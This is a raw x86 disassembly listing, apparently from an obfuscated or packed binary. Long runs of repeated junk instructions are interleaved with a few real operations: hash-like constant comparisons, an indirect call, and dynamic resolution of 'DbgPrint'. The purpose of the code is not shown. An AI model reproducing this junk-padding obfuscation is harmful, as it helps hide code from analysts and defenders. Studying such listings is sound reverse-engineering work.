cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov edx, dword [0x62156c]
mov edi, dword [edx + 8]
mov dword [ebp - 8], edi
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
cmp edi, 0x5d81ee40
jne 0x5d2d80
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov eax, dword [0x62156c]
mov edi, dword [eax + 0x28]
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
add edi, dword [0x6213a4]
mov dword [ebp - 8], edi
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
xor eax, eax
push eax
mov eax, 0
push eax
mov eax, dword [0x6213a4]
push eax
mov eax, dword [ebp - 8]
call eax
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
cmp edi, 0x5bec64eb
je 0x5d2e5e
cmp edi, 0x5d81f1e3
je 0x5d2e5e
cmp edi, 0x5d91be30
jne 0x5d2fe3
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
iretd
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov ecx, dword [ebp - 0xc]
push str.DbgPrint
push ecx
call dword [ebp + 0xc]
mov dword [0x621290], eax
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
test al, 0xa8
sbb ah, 0x93
push ebx
rcl ebx, 3
or ebx, 0xa8cc5bac
bswap ebx
cmp ebx, 0xffb9bdcc
or ebx, 0xe23c932a
neg ecx
mov edx, 0xebb9a8cc
cmp edx, ebx
shrd ebx, ecx, 1
sbb ecx, dword [ebp - 4]
xor ecx, 0x2a11ebb9
bswap ecx
cmp sp, cx
btc eax, esi
pop eax
mov ebx, dword [ebp - 0x10]
lea esi, [esi + 2]
add ebx, dword [ebp - 0x14]
shl ebx, cl
test ebx, 0xa8cc5bac
setne al
cmp edx, 0xe23c932a
btc dx, 0x3c
sbb ebx, 0xa8cc5bac
mov eax, dword [0x621290]
test eax, eax
je 0x5d2311
mov eax, dword [0x6213a0]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret